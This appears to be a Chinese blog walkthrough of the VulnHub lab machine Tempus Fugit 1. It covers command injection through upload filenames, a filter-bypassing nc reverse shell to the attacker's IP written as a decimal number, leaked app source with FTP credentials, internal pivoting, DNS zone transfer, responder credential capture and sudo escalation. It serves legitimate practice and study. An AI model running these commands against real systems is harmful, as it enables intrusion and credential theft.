vulnhub靶場
Vulnhub靶机-Jangow
Vulnhub靶机-mycms
Vulnhub靶机-no_name
Vulnhub靶机-Tempus Fugit 1
HACK学习
-
+
首页
Vulnhub靶机-Tempus Fugit 1
# Vulnhub 靶机-Tempus Fugit 1 * **个靶机的名字非常好听,用英文不好的师傅们,可以百度翻译一下,叫做时光飞逝。** * **这个靶机是一个系列靶机,一个比一个难,而这个 Tempus Fugit 1,是这个系列的入门级,也可以说是非常难了。。。当然,可能是笔者水平不够的原因。** * **这款靶机可以学到很多东西,尤其是有点模拟内网的意思在里面了。** **话不多说,开搞!!!** ## 前言 **这款靶机启动完毕之后,会自动告诉你 IP 地址:*****192.168.1.12*** ![image-20221123195756461](/media/202211/2022-11-28_1443430.8980439994778535.png) ## 信息收集 > **通过扫描结果来看,只开放了一个 80 端口。** ![image-20221123200152289](/media/202211/2022-11-28_1443430.5077898580557452.png) **那么我们需要打开这个页面,看一下是什么情况。** **这里需要说一下,因为这个靶机难度较大,所以需要我们每一步都走的小心一点。** ``` #打开firefox,查看web页面 firefox 192.168.1.12 #没有发现什么有用的信息。 #使用httpx、curl查看相关请求信息。 httpx http://192.168.1.12 curl -i -L 192.168.1.12 #均没有发现有用的信息。 ``` ![image-20221123201350754](/media/202211/2022-11-28_1443440.7354347784596109.png) ## 寻找漏洞 ``` #试了一下xss等一些漏洞,发现没有 <script>alert(1);</script> ``` ![image-20221123201741785](/media/202211/2022-11-28_1443450.37303837186491584.png) > **查看是否有信息泄露。** > > **192.168.1.12/robots.txt** > > **有意外发现。先放在一边,继续发现其他信息。** ![image-20221123202534612](/media/202211/2022-11-28_1443460.6475065333961914.png) **后又发现一个上传功能:** ![image-20221123202756006](/media/202211/2022-11-28_1443470.7397174474217688.png) > **开始尝试上传,但是有拦截,说是只允许上传 txt 和 rtf 类型的文件。** > > **这里大家千万别以为是白名单。也有可能是其他方式,所以我们开始利用 burpsuite,进行绕过。** > > **一开始手动测了几个,发现效率太低,就开始用 php_upload_fuzz 开始爆破。** > > **发现有 1 个问题:** > > **1.无法直接显示是否爆破成功。** > > **那么就先开始尝试上传 1.txt,看看能不能访问到。** ``` 192.168.1.12/1.txt 192.168.1.12/upload/2.txt #都无法访问到 #那么开始思考,遇到这样的情况,有哪几种情况? #经过询问和自己思考,得出以下几种情况: #1.上传路径修改了 #2.上传之后重名名了。 ================== #如果是第二种情况,那么就有以下几种重名名方式: #1.在代码中修改,类似于获得此刻时间,以时间重命名。 #2.在系统中修改,那么因为vulnhub此类靶机都是linux系统的,如果在系统类修改,命令类似于: #cp/mv xxx.txt yyy.txt #如果是这样,那么如果对接受的文件参数没有进行严格的过滤,如:xxx.txt;就标志着语句的结束,在后面加上其他参数,也同样可以执行。 ``` > **说干就干,开始尝试:**![image-20221123205859322](/media/202211/2022-11-28_1443480.559645359885185.png)![image-20221123205913791](/media/202211/2022-11-28_1443490.6067793511163755.png) **哈哈哈哈,运气真好,有这个漏洞,那么步骤就是很简单了,开始反弹 shell** ## 反弹 shell > **本来满怀信心,但是这一步试了太多次,都不成功;** > > **所以又回到最初的起点。** > > **这个时候需要做什么呢?对我这种小白来说,肯定是复盘一下刚刚出现的问题。** > > **首先,可以有命令执行这个漏洞,那么问题应该是处在这边。** > > **那么,我应该试一下,看看过滤了哪些字符,然后在一步步慢慢来。一口气吃成大胖子,显然是不可以的。** > > **开始尝试,这里就不截图了,因为试的次数有点多。** > > **尝试了以下这些命令:** > > **这里面的拦截也有过滤的意思。** ``` ls #不拦截 __pycache__ main.py prestart.sh static supervisord.pid templates upload uwsgi.ini | #拦截 cat #不拦截 pwd #不拦截 /App ls -al #不拦截 total 44 drwxr-xr-x 1 root root 4096 Nov 7 21:03 . drwxr-xr-x 1 root root 4096 Aug 16 2019 .. drwxr-xr-x 1 root root 4096 Aug 12 2019 __pycache__ -rw-r--r-- 1 root root 2226 Aug 12 2019 main.py -rw-r--r-- 1 root root 204 May 17 2019 prestart.sh drwxr-xr-x 6 14534190 dialout 4096 Aug 9 2019 static -rw-r--r-- 1 root root 2 Nov 23 2022 supervisord.pid drwxr-xr-x 1 14534190 dialout 4096 Aug 12 2019 templates drwxr-xr-x 1 root root 4096 Nov 23 13:19 upload -rw-r--r-- 1 root root 37 May 17 2019 uwsgi.ini / #拦截 echo nc #不拦截 回显nc whereis nc #拦截 which nc #不拦截 回显:/usr/bin/nc echo bash #不拦截,回显bash echo . #拦截 ``` > **#继续尝试:** > **echo main #不拦截 输出 main** > **echo python #不拦截,输出 python** > > **echo main* ** > > **输出:** > > **本来是乱的,我自己用工具给弄成方便看的对齐方式了。** > > ``` > import os > import urllib.request > from flask import Flask, flash, request, redirect, render_template > from ftplib import FTP > import subprocess > > UPLOAD_FOLDER = 'upload' > ALLOWED_EXTENSIONS = {'txt', 'rtf'} > app = Flask(__name__) > app.secret_key = "mofosecret" > app.config['MAX_CONTENT_LENGTH'] = 2 * 1024 * 1024 @ app.route('/', defaults={'path': ''}) @ app.route('/<path:path>') > > > def catch_all(path): cmd = 'fortune -o' > > > result = subprocess.check_output(cmd, shell=True) > return "<h1>400 - Sorry. I didn't find what you where looking for.</h1> <h2>Maybe this will cheer you up:</h2><h3>" + result.decode("utf-8") + "</h3>" @ app.errorhandler(500) > > > def internal_error(error): return "<h1>500?! - What are you trying to do here?!</h1>" @ app.route('/') > > > def home(): return render_template('index.html') @ app.route('/upload') > > > def upload_form(): > try: > return render_template('my-form.html') > except Exception as e: > return render_template("500.html", error=str(e)) > > > def allowed_file(filename): check = filename.rsplit('.', 1)[1].lower() > > > check = check[:3] in ALLOWED_EXTENSIONS > return check @ app.route('/upload', methods=['POST']) > > > def upload_file(): > if request.method == 'POST': > if 'file' not in request.files: flash('No file part') > return redirect(request.url) > file = request.files['file'] > if file.filename == '': flash('No file selected for uploading') > return redirect(request.url) > if file.filename and allowed_file(file.filename): filename = file.filename > file.save(os.path.join(UPLOAD_FOLDER, filename)) > cmd = "cat " + UPLOAD_FOLDER + "/" + filename > result = subprocess.check_output(cmd, shell=True) > flash(result.decode("utf-8")) > flash('File successfully uploaded') > try: > ftp = FTP('ftp.mofo.pwn') > ftp.login('someuser', 'b232a4da4c104798be4613ab76d26efda1a04606') > with open(UPLOAD_FOLDER + "/" + filename, 'rb') as f: ftp.storlines('STOR %s' % filename, f) > ftp.quit() except: flash("Cannot connect to FTP-server") > return redirect('/upload') > else: > flash('Allowed file types are txt and rtf') > return redirect(request.url) > if __name__ == "__main__": app.run() > > ``` > > **在这里面我们有重大发现:** > > 1. ***登录了 ftp 服务器*** > 2. ***ftp 服务器是:ftp.mofo.pwn*** > 3. ***username=someuser,passwd=b232a4da4c104798be4613ab76d26efda1a04606(可能是加密的,可能不是)*** > > **先不管,我们在看看另外一个文件:** > > **echo prestart*** > > **输出:** > > ``` > #! /usr/bin/env sh echo "Running inside /app/prestart.sh, you could add migrations to this file, e.g.:" echo " #! /usr/bin/env bash # Let the DB start sleep 10; # Run migrations alembic upgrade head " > ``` ***从这两个文件中,我们可以得出一些结论:这个服务器里面,还有其他服务器,可能是镜像文件等等,但是能证明,这个类似于一个集群。*** **所以,我们先试试能不能 ping 通,看看这个 ftp 服务器的 ip 地址。** ``` ping -c ftp.mofo.pwn #发现没有回显。 #本机ping也同样没有回显。那么说明我们还是需要进入该服务器内部。 #其实这一步可以不用做的,因为上面已经测试过了,过滤. 但是我不死心。 ``` **但是在这个时候,我们已经知道,这个地方拦截/ 和 .** **而大多数反弹 shell 都会有这两个字符。** **而 nc 的反弹 shell 是:** ``` nc -e 192.168.1.16 8888 /bin/bash #而大多数情况下,想要使用bash,不需要指明绝对路径,因为大多数都是在环境变量里面。 #所以,可以改成:nc -e 192.168.1.16 8888 bash #这个时候,还有. ,而之前在做一个ctf练习题的时候,我记得127.0.0.1是可以转换成一个全数字的, 那么同理,192.168.1.16这个ip也是可以转成全数字的ip。百度一下,找到:192.168.1.16=3232235792 #所以这个反弹shell可以变成: nc -e 3232235792 8888 bash ##这里要说一下,我弄了半个小时才反弹成功!!! ##为什么弄了半个小时?因为我用的用的同一个命令,就是不成功,一直报错500.我一直以为我弄错了,思路错了,然后我去百度了一下这个靶机的一些复盘思路,妈的,就是这样做的,tmd结果我就是报500,问我到底想干嘛,后面我又尝试开启了不同的靶机,全都报错。 ##最后我在虚拟机内部弄ip转换,然后复制过来,才成功。具体为什么,我也不知道!!! ``` ![image-20221123225135585](/media/202211/2022-11-28_1443490.010934928172026015.png) ## 内网渗透 **当以 root 权限进来之后,我们首先就需要 ping 一下我们之前得到的 ftp 服务器。** ``` #查看了一下用户什么的,发现没有用户,那就说明估计有别的服务器,所以用ping来探测一下我们之前得到的ftp服务器。 ping -c 1 ftp.mofo.pwn #得到这个服务器地址为:172.19.0.12 #在这里发现是这个ip?我用本机ping了一下,ping不同,那么说明是内网。 #查看一下得到权限的这个服务器地址:172.19.0.10 ``` ![image-20221125190233751](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221125190233751.png) **尝试登录 ftp 服务器,发现没有 ftp,可能用的是 lftp。继续尝试:** ![image-20221125190613993](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221125190613993.png) > **查看相关文件,又发现用户和密码:** > > **Admin:hardEnough4u** ![image-20221125190820412](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221125190820412.png) **这个时候可以退出了。拿到这个用户名和密码,我就开始思考,这个用户和密码是哪个地方的呢?难道还有其他内部服务器?按照提示,是指一个 cms 的后台登录密码。那么这个 cms 在哪呢?** **这个时候,就想开始扫描一下这个 ip 的网段,看看有哪些存活主机。** **扫描网段,就想到用 nmap,可是遗憾的是没有安装 nmap** ![image-20221125191221620](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221125191221620.png) **这个时候,就得想办法安装扫描软件了。** **apt---失败** ![image-20221125191940619](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221125191940619.png) **yum---失败** ![image-20221125192040801](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221125192040801.png) **rpm---失败** ![image-20221125192102028](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221125192102028.png) **行吧,这说明版本不太对。那么再看看其他文件,也许有收获,按例,去 home 目录和 root 目录下看一下。** ![image-20221125193226893](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221125193226893.png) **百度了一下,这个版本的 linux 下载软件的命令** > **原来是 apk 安装命令,又 get 到了一个知识点!!!** > > **开始安装 nmap** ![image-20221125193436246](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221125193436246.png) ``` nmap -sn 172.19.0.0/24 #发现还有一台.1和100结尾的。继续探测扫描。 ``` ![](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221125194418199.png) **探测结果如下:** ![image-20221125195654008](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221125195654008.png) **继续探测,因为是内网,那么每个主机之间肯定有数据传输,所以监听一下网卡。** ``` #先按照tcpdump apk add tcpdump #在使用命令: timeout -t 60 tcpdump #发现有很多数据传输。但是数据不够友好。 #这时,想在本机也试试,但是有一个问题,就是本机监听好像不能拦截内部网络的监听。所以我们需要用一些技术让本机访问到这个内网172.19.0.0/24这个网段的网络。 ``` ![image-20221128132023613](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221128132023613.png) > **现在我们需要做的就是让本机能够访问到内网主机。** > > **那么这个有很多种方式:端口映射、端口转发、隧道技术等等。** > > **因为这个是靶机,所以可以用最简单的 ip 路由技术。** ``` route -n #查看本地ip路由 ip route add 172.19.0.0/24 via 192.168.1.12 src 192.168.1.16 #这个意思是:所有来自192.168.1.16这个ip的流量,去访问所有172.19.0.0/24网段的ip,都以192.168.1.12为跳板(就是把这个ip当做网关来看)。那么因为192.168.1.12这个主机可以访问这个内网,那么以这个为网关,所有的都可以解析了。 ``` ![image-20221125220309034](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221125220309034.png) **当配置好后,就可以通过本地访问到这个内网了。** ``` timeout 60 tcpdump #发现有很多数据传输,但是好像结果不是很友好。 ``` ![image-20221128132115347](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221128132115347.png) **同时,我们也需要对这个内网(类似于网关的服务器)开始扫描,但是很遗憾 0 我用目录扫描并没有扫到什么有用的东西。** ![image-20221126100809998](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221126100809998.png) **这时,我就在想,因为之前 ftp 上传,看代码是域名,那么会不会是因为要设置域名?** > **因为:** > > **假设 172.19.0.1 的域名为百度:** > > **那么:** > > **172.19.0.1:80** > > **172.19.0.1:8080** > > **和** > > [www.baidu.com:80](www.baidu.com:80) > > [www.baidu.com:8080](www.baidu.com:8080) 可能内容是不一样的。 **所以,如果需要设置域名,那么就需要分析出,每个服务器对应的域名有哪些。这个需要 dig、fierce、dnsenum 等工具,当然也可以用枚举工具,这里使用 dig,因为 dig 是最常见也是最实用的。** **百度一下,apline 安装 dig 工具的办法:** ``` apk add bind-tools ``` ``` dig axfr ftp.mofo.pwn #没有获得有用的信息。 dig axfr mofo.pwn #axfr是q-type类型的一种,是Authoritative Transer的缩写,请求转移该域名下的全部记录。 ``` ![image-20221126103814365](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221126103814365.png) **那么我们需要在本地 hosts 文件中,要添加一个域名指向。** ![image-20221126104820259](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221126104820259.png) ``` 访问: http://ourcms.mofo.pwn http://ourcms.mofo.pwn:8080 ``` **现在终于到 cms 页面了!!** **我们之前得到的用户密码终于可以用到了。** **这个时候需要扫描目录。** ![image-20221126105009745](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221126105009745.png) **找到 admin 后台登录:可以登录了。** ![image-20221126105242899](file:///C:/Users/lich/AppData/Roaming/Typora/typora-user-images/image-20221126105242899.png?lastModify=1669617791) ![image-20221126113054716](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221126113054716.png) **登录进去后,按照惯例找模板,修改,反弹 shell,这个步骤就不在多言了。** **反弹成功之后,发现权限很低** ![image-20221126120010120](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221126120010120.png) ``` uname -a lsb_release -a history find / -perm -u=s -type f 2>/dev/null crontab -l ls -al /home #等等,都没有任何发现。 #上传脚本好像也不允许,没有写入权限? ``` ![image-20221126123609729](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221126123609729.png) **但是查看了一下用户,发现有很多用户?** ![image-20221128135919677](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221128135919677.png) **但是经过测试好像都没啥用。这个时候想到了之前监听了网卡,虽然一直有数据交换,但是因为结果不友好,就没继续弄了。百度了一下这个靶机的 writeup,发现他们用的是另一个工具,叫做 responder,我也试试:果然,和网上一样** ``` responder -I eth0 #这个意思就是我监听了eth0这个网卡,把我这台主机当做网关,所有经过eth0这个网络的流量我都会检测一遍,看是否有敏感信息。 ``` **获得一组账号和密码,再加上 home 目录下有这个用户,所以我们可以来尝试登陆一下。** ![image-20221128140729350](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221128140729350.png) ``` su xochil ``` **登录成功!!!** **看看这个用户可不可以提权。** **经过多方测试,发现不能直接提权。。。。** **只能翻看一些文件。 ** **我们知道:** > **1./bin 目录存放的是 linux 中一些常见的命令文件。** > > **2./boot 目录存放的是启动 linux 时的一些核心文件。** > > **4./etc 目录存到是一些配置文件。** > > **5./home 目录存放的是一些用户** > > **6./mnt 目录一般是挂载目录** > > **7./opt 目录是主机额外安装软件的目录** > > **8./usr 目录下的:/usr/bin、/usr/sbin 目录也比较重要。** > > **9./var 目录存放的是不断扩充的东西,如日志文件等等。** > > **所以我们需要在这几个目录里都寻找一些信息。** **我们找到/var/mail 目录的时候,发现有一个邮件,因为太长了,所以用 grep 命令查看一下:** ``` cat xochil | grep -n pass ``` ![image-20221128142200780](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221128142200780.png) **继续查看:** ``` cat xochil | tail -n +1980 | head -n 5 ``` ![image-20221128142255837](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221128142255837.png) **得到用户和密码** **继续登录。** **查看 sudo 权限。** ``` sudo -l ``` ![image-20221128142556253](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221128142556253.png) ## 提权成功!!! ![image-20221128142650454](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221128142650454.png) ![image-20221128142946978](https://gitee.com/li_hao_lich/typora/raw/master/img/image-20221128142946978.png) **这个靶机是真的很难,从网卡那一块,基本上就是我跟着网上的大哥一起走的。因为内网这一块我是真的很多不懂。**
looch
Nov. 28, 2022, 2:44 p.m.
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档
PDF文档(打印)
分享
链接
类型
密码
更新密码